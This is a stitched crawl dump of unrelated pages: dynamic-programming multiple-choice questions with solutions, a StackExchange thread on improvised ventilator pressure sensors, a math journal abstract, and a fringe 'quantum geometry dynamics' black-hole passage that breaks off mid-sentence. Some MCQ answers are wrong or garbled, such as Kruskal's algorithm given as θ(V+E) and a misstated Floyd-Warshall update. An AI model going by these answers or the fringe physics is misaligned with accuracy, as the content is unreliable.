$\big(\frac{\partial V}{\partial T}\big)_P=\big(\frac{\partial}{\partial T}\frac{RT}{P}\big)_P=\frac{R}{P}$. Last edited:	2021-06-19 22:14:23	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8656889200210571, "perplexity": 758.2673169353069}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623487649731.59/warc/CC-MAIN-20210619203250-20210619233250-00432.warc.gz"}
https://testbook.com/objective-questions/mcq-on-dynamic-programming--5eea6a0c39140f30f369e0db	# Consider product of three matrices M1, M2 and M3 having w rows and x columns, x rows and y columns, and y rows and z columns. Under what condition will it take less time to compute the product as (M1M2)M3 than to compute M1 (M2M3)? 1. Always take the same time 2. (1/x + 1/z) < (1/w + 1/y) 3. x > y 4. (w + x) > (y + z) Option 2 : (1/x + 1/z) < (1/w + 1/y) ## Dynamic Programming MCQ Question 1 Detailed Solution Concept: Order of M1 = w × x Order of M2 = x × y Order of M3 = y × z For cost of (M1M2)M3 = wxy + wyz. Detailed steps below. • Cost of M1M2 = w × x × y • This gives us a new matrix. Let the new matrix be M. • Order of M is w × y • Cost of MM3 = w × y × z • Total cost = M1M2 cost + MM3 cost Similarly, cost of M1 (M2M3) = xyz + wxz For (M1M2)M3 to take less time than M1(M2M3) (wxy + wyz) < (xyz + wxz) Dividing both the sides of above equation, we get (1/x + 1/z) < (1/w + 1/y) # Let A1, A2, A3, and A4 be four matrices of dimensions 10 × 5, 5 × 20, 20 × 10, and 10 × 5, respectively. The minimum number of scalar multiplications required to find the product A1A2A3A4 using the basic matrix multiplication method is ______. ## Dynamic Programming MCQ Question 2 Detailed Solution Concept: If we multiply two matrices of order l × m and m × n, then number of scalar multiplications required = l × m × n Data: A1 = 10 × 5, A2 = 5× 20, A3 = 20 × 10, A4 = 10 × 5 Calculation: There are 5 ways in which we can multiply these 4 matrices. (A1A2)(A3A4) , A1A2(A3A4), A1 ((A2A3) A4) , (A1(A2A3))A4, ((A1A2)A3)A4 Minimum number of scalar multiplication can be find out using A1 ((A2A3)A4) For A2A3 (order will become 5 ×10) = 5 × 20 × 10 = 1000 For (A2A3)A4 (order will become 5 × 5) = 5 × 10 × 5 = 250 For A1 ((A2A3)A4) [Order will become 10 × 5] = 10× 5 × 5 = 250 Minimum number of scalar multiplication required = 1000 + 250 + 250 = 1500 In all other cases, scalar multiplication are more than 1500. # Assembly line scheduling and Longest Common Subsequence problems are an example of __________ 1. Dynamic Programming 2. Greedy Algorithms 3. Greedy Algorithms and Dynamic Programming respectively 4. Dynamic Programming and Branch and Bound respectively Option 1 : Dynamic Programming ## Dynamic Programming MCQ Question 3 Detailed Solution The longest common subsequence(LCM) LCS problem is the problem of finding the longest subsequence common to all sequences in a set of sequences. Longest Common Subsequence problems is an example of Dynamic Programming. In LCS: If there is match, A[i, j] = A[i – 1, j – 1] + 1 If not match: max(A[i – 1, j], A[i, j – 1]) Assembly line scheduling The main goal of assembly line scheduling is to give the best route or can say fastest from all assembly line. Assembly line schedulingproblems is an example of Dynamic Programming. # Which of the following is a correct time complexity to solve the 0/1 knapsack problem where n and w represents the number of items and capacity of knapsack respectively? 1. O(n) 2. O(w) 3. O(nw) 4. O(n+w) Option 3 : O(nw) ## Dynamic Programming MCQ Question 4 Detailed Solution Knapsack problem has the following two variants- 1. Fractional Knapsack Problem 2. 0/1 Knapsack Problem Time Complexity- • Each entry of the table requires constant time θ(1) for its computation. • It takes θ(nw) time to fill (n+1)(w+1) entries. Therefore, O(nw + n + w +1) = O(nw ) • It takes θ(n) time for tracing the solution since the tracing process traces the n rows. • Thus, overall θ(nw) time is taken to solve 0/1 knapsack problem using dynamic programming. # The following paradigm can be used to find the solution of the problem in minimum time: Given a set of non-negative integer, and a value K, determine if there is a subset of the given set with sum equal to K: 1. Divide and Conquer 2. Dynamic Programming 3. Greedy Algorithm 4. branch and Bound Option 2 : Dynamic Programming ## Dynamic Programming MCQ Question 5 Detailed Solution Concept: “Subset sum problem”: Given a set of non-negative integers, and a value sum, determine if there is a subset of the given set with sum equal to given sum(K). Explanation: Assume array of non-negative integer of size n. This problem can u solved by - Method 1: Using recursion • Time complexity - O(2n) • Space complexity - O(n) Method 1: Using Dynamic Programming (Optimal solution of “Subset sum problem”) • Time complexity - O(n.k) • Space complexity - O(n.k) Dynamic Programming paradigm can be used to find the solution of the problem in minimum time. Subset sum problem is NP Complete Problem, because 0/1 Knapsack problem polynomial reduced to sum of subset problem and 0/1 Knapsack problem is NP complete problem. # Consider two strings A = ”qpqrr” and B = ”pqprqrp”. Let x be the length of the longest common subsequence (not necessarily contiguous) between A and B and let 􀝕 be the number of such longest common subsequences between A and B. Then x + 10y = ___. ## Dynamic Programming MCQ Question 6 Detailed Solution Concepts: If there is match, A[i, j] = A[i – 1, j – 1] + 1 If not match: max(A[i – 1, j], A[i, j – 1]) Table of longest common subsequence: B → p q p r q r p A ↓ 0 0 0 0 0 0 0 0 q 0 0 1 1 1 1 1 1 p 0 1 1 2 2 2 2 2 q 0 1 1 2 2 3 3 3 r 0 1 1 2 3 3 4 4 r 0 1 1 2 3 3 4 4 Length of longest common subsequence (LCS) = x = 4 LCS of length 4 are “qprr”, “pqrr” and “qpqr” y = 3 x + 10y = 4 + 10 × 3 = 34 # Assume that multiplying a matrix G1 of dimension 𝑝 × 𝑞 with another matrix G2 of dimension 𝑞 × 𝑟 requires 𝑝𝑞𝑟 scalar multiplications. Computing the product of n matrices G1G2G3…Gn can be done by parenthesizing in different ways. Define Gi Gi+1 as an explicitly computed pair for a given paranthesization if they are directly multiplied. For example, in the matrix multiplication chain G1G2G3G4G5G6 using parenthesization (G1(G2G3))(G4(G5G6)), G2G3 and G5G6 are the only explicitly computed pairs.Consider a matrix multiplication chain F1F2F3F4F5, where matrices F1, F2, F3, F4 and F5 are of dimensions 2 × 25, 25 × 3, 3 × 16, 16 × 1 and 1 × 1000, respectively. In the parenthesization of F1F2F3F4F5 that minimizes the total number of scalar multiplications, the explicitly computed pairs is/are 1. F1F2 and F3F4 only 2. F2F3 only 3. F3F4 only 4. F1F2 and F4F5 only Option 3 : F3F4 only ## Dynamic Programming MCQ Question 7 Detailed Solution As F5 is 11000 matrix so 1000 will play vital role in cost. So it is good to multiply F5 at very last step.So, the sequence giving minimal cost: (((F1(F2(F3F4))(F5)) = 48+75+50+2000 = 2173 Explicitly computed pairs is (F3F4). # A Young tableau is a 2D array of integers increasing from left to right and from top to bottom. Any unfilled entries are marked with ∞, and hence there cannot be any entry to the right of, or below a ∞. The following Young tableau consists of unique entries. 1 2 5 14 3 4 6 23 10 12 18 25 31 ∞ ∞ ∞ When an element is removed from a Young tableau, other elements should be moved into its place so that the resulting table is still a Young tableau (unfilled entries may be filled in with a ∞). The minimum number of entries (other than 1) to be shifted, to remove 1 from the given Young tableau is ________. ## Dynamic Programming MCQ Question 8 Detailed Solution As it is given here, that there can’t be any entry to the right of or below a ∞ So, when a 1 is removed, it is replaced by its right-side position value i.e. 2 keeping the 5 and 14 intact. 2 5 14 3 4 6 23 10 12 18 25 31 ∞ ∞ ∞ Now we replace the vacant position by 4 below it is keeping other numbers at same position. 2 4 5 14 3 6 23 10 12 18 25 31 ∞ ∞ ∞ Now, fill the vacant position by shifting 6 to its left. 2 4 5 14 3 6 23 10 12 18 25 31 ∞ ∞ ∞ Now, similarly shift 18 to up to fill vacant position keeping other number at same position. 2 4 5 14 3 6 18 23 10 12 25 31 ∞ ∞ ∞ Now, shift 25 to it’s left 2 4 5 14 3 6 18 23 10 12 25 31 ∞ ∞ ∞ Now, fill this vacant position with ∞. 2 4 5 14 3 6 18 23 10 12 25 ∞. 31 ∞ ∞ ∞ So, in this way minimum entries that needs to be shifted after removal of 1 from table are 5. # The weight of a sequence a0, a1,…,an-1 of real numbers is defined as a0 + a1/2 + ......an-1 / 2n-1. A subsequence of a sequence is obtained by deleting some elements from the sequence, keeping the order of the remaining elements the same. Let X denote the maximum possible weight of a subsequence of a0, a1,..., an-1 Then X is equal to 1. max (Y, a0 + Y) 2. max (Y, a0 + Y/2) 3. max(Y, a0 + 2Y) 4. a0 + Y/2 Option 2 : max (Y, a0 + Y/2) ## Dynamic Programming MCQ Question 9 Detailed Solution Key Points Using concepts of Dynamic Programming, to find the maximum possible weight of a subsequence of X, we will have two alternatives: 1. Do not include ao in the subsequence: Then the maximum possible weight will be equal to the maximum possible weight of a subsequence of {a1,a2,.....an} which is represented by Y. 2. Include a0 then the maximum possible weight will be equal to: a0 + (each number picked in Y will get divided by 2) = ao+Y/2. The key point here is Y will itself pick optimal subsequence to maximize the weight. The value of a0 can be anything (negative or i ∈ R it is possible that Y>a0+Y/2. Here Y/2 meaning: Each number picked in Y will get divided by 2. Hence the correct answer is max (Y, a0 + Y/2) # Four matrices M1, M2, M3 and M4 of dimensions p × q, q × r, r × s and s × t respectively can be multiplied in several ways with different number of total scalar multiplications. For example when multiplied as ((M1 × M2) × (M3 × M4)), the total number of scalar multiplications is part rst+ prt. When multiplied as ((M1 × M2) × (M3 )× M4), the total number of scalar multiplications is pqr+ prs + pst .If p = 10, g = 100, r = 20, s = 5, and t = 80, then the minimum number of scalar multiplications needed is 1. 248000 2. 44000 3. 19000 4. 25000 Option 3 : 19000 ## Dynamic Programming MCQ Question 10 Detailed Solution The correct answer is option 3 Concept: If we multiply two matrices [A]l × m and [B]m × n Then the number of scalar multiplications required = l × m × n Data: Given 4 matrix are given with their dimensions Matrix M1 M2 M3 M4 Dimension p× q q× r r× s s× t Dimension 10×100 100×20 20×5 5×80 Calculation: Total number of ways of multiplication =$$\frac{^{2n}C_n}{n+1}$$ n = 4 - 1 = 3 Total number of ways of multiplication =$$\frac{^{2n}C_n}{n+1}$$ =5 There are 5 ways in which we can multiply these 4 matrices. 1. (M1M2)(M3M4) 2. M1 ((M2M3) M4) 3. M1(M2(M3M4)) 4. ((M1M2)M3)M4 5. (M1(M2M3))M4 (M10×100 × M100× 20 )(M20× 5 × M5× 80) 10×100×20 +20× 5×80 +10×20×80 =44,000 M10×100 × ( (M100× 20 × M20× 5 )× M5× 80) 10×100×80 +100×20×5 +100×5×80 =130,000 M10×100 × ( M100× 20 × (M20× 5 × M5× 80)) 10×100×80 +100×20×80 +20×5×80 = 248,000 ( (M10×100 × M100× 20 )× M20× 5 )× M5× 80 10×100×20 +10×20×5 +10×5×80 =25,000 ( (M10×100 ×( M100× 20 × M20× 5 ))× M5× 80 10×100×5 +100×20×5 +10×5×80 =19,000 The minimum number of scalar multiplication can find out using (M1(M2M3))M4 (M1(M2M3))M4 =19,000 Shortcut Trick Frist find scaler multiplication of those which are common in some of the 5 ways of multiplication then it will become easy to solve (M1M2) is common in 1 and 4 (M2M3) is common in 2 and 5 (M3M4) is common in 1 and 3 # An algorithm to find the length of the longest monotonically increasing sequence of numbers in an array A[0 : n - 1] is given below.Let Li denote the length of the longest monotonically increasing sequence starting at index i in the array.Initialize Ln-1 = 1For all i such that 0 ≤ i ≤ n - 2$$L_i=\left\{\begin{matrix}1+L_{i+1}&\rm if\ A[i]<A[i+1]\\\ 1&\rm otherwise\end{matrix}\right.$$Finally the length of the longest monotonically increasing sequence is Max (L0, L1, ... Ln-1).Which of the following statements is TRUE? 1. The algorithm uses dynamic programming paradigm 2. The algorithm has a linear complexity and uses branch and bound paradigm 3. The algorithm has a non-linear polynomial complexity and uses branch and bound paradigm 4. The algorithm uses divide and conquer paradigm. Option 1 : The algorithm uses dynamic programming paradigm ## Dynamic Programming MCQ Question 11 Detailed Solution The correct answer is Option 1. Key Points • The Longest Increasing Subsequence (LIS) problem is to find the length of the longest subsequence of a given sequence such that all elements of the subsequence are sorted in increasing order. For example ,a[] = {3, 10, 2, 1, 20} Output: Length of LIS = 3 The longest increasing subsequence is 3, 10, 20. • We can see that there are many subproblems in the above recursive solution which are solved again and again. So this problem has Overlapping Substructure property and re-computation of same subproblems can be avoided by either using memorization or tabulation. • If we closely observe the problem then we can convert this problem to longest Common Subsequence Problem. Firstly we will create another array of unique elements of original array and sort it. Now the longest increasing subsequence of our array must be present as a subsequence in our sorted array. That’s why our problem is now reduced to finding the common subsequence between the two arrays. # Match List I with List II List I List II (A) Topological sort of DAG (I) O(V + E) (B) Kruskal's MST algorithm (II) O(VE) (C) Bellman-Ford's single-source shortest path algorithm (III) θ (V + E) (D) Floyd-Warshall's all-pair shortest path algorithm (IV) θ(V3) Choose the correct answer from the options given below: 1. A - I, B - III, C - IV, D - II 2. A - III, B - I, C - IV, D - II 3. A - III, B - I, C - II, D - IV 4. A - I, B - III, C - II, D - IV Option 4 : A - I, B - III, C - II, D - IV ## Dynamic Programming MCQ Question 12 Detailed Solution The correct answer is option 4. Key Points Topological sort of DAG= O(V + E) Bellman-Ford's single-source shortest path algorithm=O(VE) Floyd-Warshall's all-pairs shortest path algorithm= θ(V3) Kruskal's MST algorithm= θ (V + E) Due to sorting the edges, the dominant term in Kruskal's time complexity is O(ElogE). However, if we can conduct sorting in linear time or if the edges are already sorted, the problem can be solved by detecting whether there is a cycle in the graph or not. Since the edges have already been sorted, add each edge to MST one by one. It is now possible to determine whether or not an undirected graph has a cycle: 1) select one among DFT or BFT:- O(V+E) 2) Using Union-Find:- O(ElogV) ∴ Kruskal’s MST algorithm :- θ(V+E) ∴ Hence the correct answer is A - I, B - III, C - II, D - IV. # Consider the following two sequences :X = < B, C, D, C, A, B, C >and Y = < C, A, D, B, C, B >The length of longest common subsequence of X and Y is : 1. 5 2. 3 3. 4 4. 2 Option 3 : 4 ## Dynamic Programming MCQ Question 13 Detailed Solution Concept: If there is match, A[i, j] = A[i – 1, j – 1] + 1 If not match: max(A[i – 1, j], A[i, j – 1]) CALCULATION Let M = length of X and N = length of Y int dp[N+1][M+1] Table of longest common subsequence: X → B C D C A B C Y ↓ 0 0 0 0 0 0 0 0 C 0 0 1 1 1 1 1 1 A 0 0 1 1 1 2 2 2 D 0 0 1 2 2 2 2 2 B 0 1 1 2 2 2 3 3 C 0 1 2 2 3 3 3 3 B 0 1 2 2 3 3 4 4 The length of longest common subsequence of X and Y = A[N][M] = 4 # Define Rn to be the maximum amount earned by cutting a rod of length n meters into one or more pieces of integer length and selling them. For i > 0, let p[i] denotes the selling price of a rod whose length is i meters. Consider the array of prices:p[1] = 1, p[2] = 5, p[3] = 8, p[4] = 9, p[5] = 10, p[6] = 17, p[7] = 18Which of the following statements is/are correct about R7? 1. R7 cannot be achieved by a solution consisting of three pieces. 2. R7 = 19 3. R7 = 18 4. R7 is achieved by three different solutions. Option : ## Dynamic Programming MCQ Question 14 Detailed Solution Answer: Option 3 and Option 4 Data: p[1] = 1, p[2] = 5, p[3] = 8, p[4] = 9, p[5] = 10, p[6] = 17, p[7] = 18 Calculation R7= max amount and length can be integer Pieces Amount 1, 1, 1, 1, 1, 1, 1 7 1, 1, 1, 1, 1, 2 10 1, 1, 1, 1, 3 12 1, 1, 1, 4 12 1, 1, 5 12 1, 6 18 1, 1, 2, 3 15 1, 3, 3 17 1,2,4 15 2, 2, 3 18 7 18 maximum cost possible is 18 and there are 3 solutions for R7. # In case of the dynamic programming approach the value of an optimal solution is computed in: 1. Top down fashion 2. Bottom up fashion 3. Left to Right fashion 4. Right to Left fashion Option 2 : Bottom up fashion ## Dynamic Programming MCQ Question 15 Detailed Solution Dynamic programming approach: The dynamic programming approach considers the previous steps solution, saves them, and then uses them in the future so as to avoid solving the same problem again and again. It uses the bottom up approach. Steps that are take in dynamic programming approach are: 1) Characterize the structure of an optimal solution 2) Using the previous solved values 3) Construct the optimal solution for final result. Important Point: Top down approach can also be used and hence marks is given both 1 and 2 # Suppose you want to move from 0 to 100 on the number line. In each step, you either move right by a unit distance or you take a shortcut. A shortcut is simply a pre-specified pair of integers i, j with i < j. Given a shortcut i, j if you are at position i on the number line, you may directly move to j. Suppose T(k) denotes the smallest number of steps needed to move from k to 100. Suppose further that there is at most 1 shortcut involving any number, and in particular from 9 there is a shortcut to 15. Let y and z be such that T(9) = 1 + min(T(y),T(z)) Then the value of product of yz is ## Dynamic Programming MCQ Question 16 Detailed Solution Explanation: In order to reach T(9) we have two options 1. Shortcut which is given value 15 2. Take one Right on number line 9+1 = 10 So T(9) = 1 + min ( T(15),T(10)) y = 15 or 10 and Z = 10 or 15 and yz = 15x10 = 150 # There are 5 bags labelled 1 to 5. All the coins in a given bag have the same weight. Some bags have coins of weight 10 gm, others have coins of weight 11 gm. I pick 1, 2, 4, 8, 16 coins respectively from bags 1 to 5. Their total weight comes out to 323 gm. Then the product of the labels of the bags having 11 gm coins is ________ ## Dynamic Programming MCQ Question 17 Detailed Solution A is the number of coins of 10 gm and B is the number of coins of 11 gm. A x 10 + B x 11 = 323 A + B = 31(Sum of all coins) multiply this equation with 10 and subtract from above equation we get B = 13 and A = 18 B = 13 (only one combination: 8 4 1) 8 coins picked from bag labelled by 4. 4 coins picked from bag labelled by 3. 1 coin picked from bag labelled by 1. Multiplication of all labels = 4 × 3 × 1 = 12 Hence 12 is the correct answer. # The Floyd-Warshall algorithm for all-pair shortest paths computation is based on 4. neither Greedy nor Divide-and-Conquer nor Dynamic Programming paradigm. Option 3 : Dynamic Programming paradigm. ## Dynamic Programming MCQ Question 18 Detailed Solution Floyd Warshall algorithm is based on dynamic programming paradigm. It finds the all pair shortest paths: Consider for every pair (i, j), there are two possible cases: 1) k is not an intermediate vertex in shortest path from i to j. We keep the value of dist[i][j] as it is. 2) k is an intermediate vertex in shortest path from i to j. We update the value of dist[i][j] as dist[i][j] + dist[.k][j] This diagram shows it: While using dynamic programming paradigm, we computer all pair shortest path time complexity is O(V3).	2021-12-06 21:13:26	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5456384420394897, "perplexity": 1249.3514340339293}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-49/segments/1637964363312.79/warc/CC-MAIN-20211206194128-20211206224128-00373.warc.gz"}
https://electronics.stackexchange.com/questions/490428/pressure-sensor-without-using-mems-chips	# Pressure sensor without using MEMS chips [closed] I'd like to figure out how to make a pressure sensor for very low cost (essentially disposable), mass produced piece of medical equipment. The problem: this can't use any parts which aren't already available in huge quantity. In other words only parts with > 100k and preferably > 1M in distributor stock. This probably rules out the obvious approaches of using MEMS pressure sensors for cell phones (or does it? any super-high volume MEMS devices?). Probably most specialty parts are out; commodity parts only (resistors, capacitors, generic op amps, generic transistors). It is okay to fabricate components from raw materials (eg - a force sensitive resistor from conductive foam) if the materials are readily available. It helps if all the parts used are extremely cheap (bom cost < $10). What the sensor should do is sense pressure differences. It needs to pick up changes of <1cmH2O (100 Pa) in pressure, and it needs to have response times <1 second. For this 0.1 cmH2O precision and readings every 0.1 second are great specs. The typical operating pressure is 0 to 40 cmH2O. The physical form factor of what this connects to would be a short 20mm tube - as short as possible; 20mm x 20mm is good - with tapered connectors on both sides. I assume this would need a mechanical component like a diaphragm or piston which is somehow interfaced to a PCB. It's okay if this doesn't have a very accurate zero, and other specs like linearity, drift, offset, scale error are non-essential as long as roughly 1cmH2O changes can be detected between 0 and 40 cmH2O. It is okay if each sensor needs an individual calibration. Idea #1: diaphragm the position of which is read out using some version of capacitive touch - read out capacitance Idea #2: diaphragm which compresses a force sensitive resistor made of anti-static foam - read out resistance Idea #3: conductive diaphragm which touches a different number of conductive pads on the pcb depending on how far it's deflected - read out which pads are shorted together Idea #4: conductive diaphragm the end to end resistance of which is read out depending on stretch Bounty if rather than an idea, you build a working prototype. Huge bounty if you do it within the next day or two. • You are a day late and a dollar short. A bunch of people thought we were going to be critically short of vents like a month ago. And if the curve had not deflected a bit, probably we would be by now (or soon) But there are serious companies with serious money jumping on it now. I don't think there will be any shortage. Maybe in countries like Brazil you might be able to help people. Not in the US though. – mkeith Apr 2 '20 at 4:59 • I'm not familiar with mass production of sensors but, how come you are considering valid to use conductive foam as a sensor but discarding proper sensors in quantities less than 100k? I would think that it would be far easier to just take the dozens of sensors that are available in the low hundreds of thousands and adapt the interfaces/calibration. So instead of having to make a million conductive foam pressure sensors you just design a board that accepts different "proper" sensors.. no? Am I missing something? – Wesley Lee Apr 2 '20 at 5:00 • In that case liability is much less of a concern. – mkeith Apr 2 '20 at 6:01 • Can the moderator also close all topics based on covid 19, before somebody reports that this platform is giving advice on how to make medical equipment without the proper standards! If find another user assisting people in this way again I will personally report you because this is not the platform for giving someone advice on something that is so serious. I have lost someone from this virus and these people who answered are definitely not helping the FDA or CDC to stop this virus! – Joey Apr 2 '20 at 16:55 • @Joey I'm really sorry you lost someone. FYI - I'm a medical device engineer; I've designed FDA cleared devices which are being used right now by the tens of thousands. When you are at the hospital - someone very much like me made all those devices you see; and they probably asked people for advice, very possibly right on here. – Alex I Apr 2 '20 at 18:26 ## 2 Answers Well, Digikey has some absolute pressure sensors with SPI and I2C interfaces, going for less than$1.50 and about 40,000 in hand.Resolution is 150 Pa. But here's the catch on homemade pressure sensors - don't do it. Look. Just don't. You're talking about the most critical sort of application - pressure fault alarm on a ventilator. This is NOT the place for jury-rigged sensors. If you try this sort of kludge, you will open yourself to grotesque levels of legal liability. And the fact that you are not manufacturing for profit is unlikely to save you. • Understood. Legalities are a bit different outside the US, but - I think more to the point, you're right that a kludge is going to take time (and a number of iterations) to get right. 40k stock is just not gonna do it though. I'm looking now and there are MEMS devices with close to a million stock. Might be okay there. – Alex I Apr 2 '20 at 3:45 • @AlexI - Dude, you are missing the point. Homemade sensors suck. I don't care what sort of "ingenious" design you come up with, you're not going to get unit-to-unit consistency. And that will kill people in this particular case. – WhatRoughBeast Apr 2 '20 at 3:47 • Do they suck more than literally no sensor? Because that's what was probably gonna happen here. You should see the disposable $1 plastic gauges that EMTs use all the time. Okay, peace - I'm looking at MEMS which are available in large volume. I still do want to know how to do a kludge. – Alex I Apr 2 '20 at 3:57 • @AlexI "Do they suck more than literally no sensor" At 100Pa? Yeah they probably do due to the opportunity cost of wasting time on a sensor that's probably not going to work. Probably just better off using that time to build more ventilators. I don't know what pressure sensors ventilators traditionally use, but the pressure sensor I have for use in a UAV was made to be used in ventilators. It has a range of 500Pa, cost$140, and is a thermal type sensor which is basically a temperature sensor and heat source...but the devil is in the details. – DKNguyen Apr 2 '20 at 4:32 • The legal liability is off topic here. And off context because in the emergency, gov agencies, let alone developing country agencies, don't care much about that. The most important is to make clear to the users that this is not a certified device and that you can't be liable for malfunction. The "use at your own risk" statement. Of course it will better than no sensor. – Fredled Apr 2 '20 at 9:37 The world-wide market for pressure sensors is well in excess of ten billion units annually. I don't think finding a supplier with 1 million units available will be very difficult, there are likely tens millions of units surplused by the recent recession in addition to normal stock. • Okay - thanks! Could you please let me know what some of the highest volume devices are? It is possible a lot of this is normally ordered from the factory with the usual long lead times (12-16 weeks). I'm just not seeing that much distributor stock. I'll start calling up manufacturers next. – Alex I Apr 2 '20 at 4:45 • I don't think the ventilator market will be in the millions. It's rather in the tens of thousands, Not so many people need it. – Fredled Apr 2 '20 at 9:38 • @Fredled A lot of knowledgeable people think otherwise: ventsforall.com "740,000 estimated ventilator deficit in the US alone". That's was written by a dozen MDs - critical care and epidemiology. – Alex I Apr 2 '20 at 18:18 • @AlexI Let's hope you are wrong. So far in Europe ventilator shortage is in small numbers. – Fredled Apr 2 '20 at 23:54	2021-07-30 03:09:48	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.21104541420936584, "perplexity": 2016.0573747648398}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-31/segments/1627046153931.11/warc/CC-MAIN-20210730025356-20210730055356-00551.warc.gz"}
http://www.vmj.ru/eng/current/detail.php?ELEMENT_ID=10237&SECTION_ID=501	## Contacts 362027, RNO-A, Russia Phone: (8672)50-18-06 E-mail: rio@smath.ru DOI: 10.46698/l4464-6098-4749-m # Quasi-Two-Dimensional Coefficient Inverse Problem for the Wave Equation in a Weakly Horizontally Inhomogeneous Medium with Memory Akhmatov, Z. A. , Totieva, Zh. D. Vladikavkaz Mathematical Journal 2021. Vol. 23. Issue 4. Abstract: The paper studies the inverse problem of sequentially determining the two unknowns: the coefficient characterizing the properties of a medium with weakly horizontal inhomogeneity and the kernel of some integral operator describing the memory of the medium. The direct initial-boundary value problem contains zero data and the Neumann boundary condition. As additional information, the trace of the Fourier image of the direct problem solution at the boundary of the medium is given. To study inverse problems, it is assumed that the unknown coefficient decomposes into an asymptotic series. In this paper, a method is constructed for finding (taking into account the memory of the medium) the coefficient with accuracy $$O(\epsilon^2)$$. At the first stage, the solution of the direct problem in the zero approximation and the kernel of the integral operator are simultaneously determined. The inverse problem is reduced to solving a system of nonlinear Volterra integral equations of the second kind. At the second stage, the kernel is considered to be given, and the first approximation solution of the direct problem and the unknown coefficient are determined. In this case, the inverse problem and the problem of solving a linear system of Volterra integral equations of the second kind will be equivalent. Two theorems on unique local solvability of the inverse problems are proved. Numerical results on the kernel function and coefficient are presented. Keywords: inverse problem, delta function, kernel, fourier transform, integro-differential equation	2022-05-20 13:52:58	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7533726096153259, "perplexity": 304.5168063290707}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662532032.9/warc/CC-MAIN-20220520124557-20220520154557-00552.warc.gz"}
https://quantumgeometrydynamics.com/2017/04/	# Archive for April, 2017 ## QGD prediction of the Density and Size of Black Holes QGD predicts that black holes are extremely dense but not infinitely so. Considering that $preon{{s}^{\left( + \right)}}$ are strictly kinetic and that no two can simultaneously occupy any given $preon{{s}^{\left( - \right)}}$ then $\max densit{{y}_{BH}}=\frac{1preo{{n}^{\left( + \right)}}}{2preon{{s}^{\left( - \right)}}}or\frac{1}{2}$ . It follows that $\min Vo{{l}_{BH}}=2{{m}_{BH}}preon{{s}^{\left( - \right)}}$ or, since $preo{{n}^{\left( - \right)}}$ is the fundamental unit of space, we can simply write $\min Vo{{l}_{BH}}=2{{m}_{BH}}$ for the minimum corresponding radius $\min {{r}_{BH}}=\left\lfloor \sqrt[3]{\frac{3{{m}_{BH}}}{2\pi }} \right\rfloor$ . For the radius of the black hole predicted to be a the center of our galaxy, ${{m}_{BH}}\approx 4{{10}^{6}}{{M}_{\odot }}$ and $\min {{r}_{BH}}=\left\lfloor \sqrt[3]{\frac{3{{m}_{BH}}}{2\pi }} \right\rfloor \approx 1.24{{10}^{2}}{{M}_{\odot }}$ where the mass is expressed in $preon{{s}^{\left( + \right)}}$ and radius in $preon{{s}^{\left( - \right)}}$ . Though converting this into conventional units requires observations to determine the values of the QGD constants $k$ and $c$ , using relation between QGD and Newtonian gravity, we also predict that the radius within which light 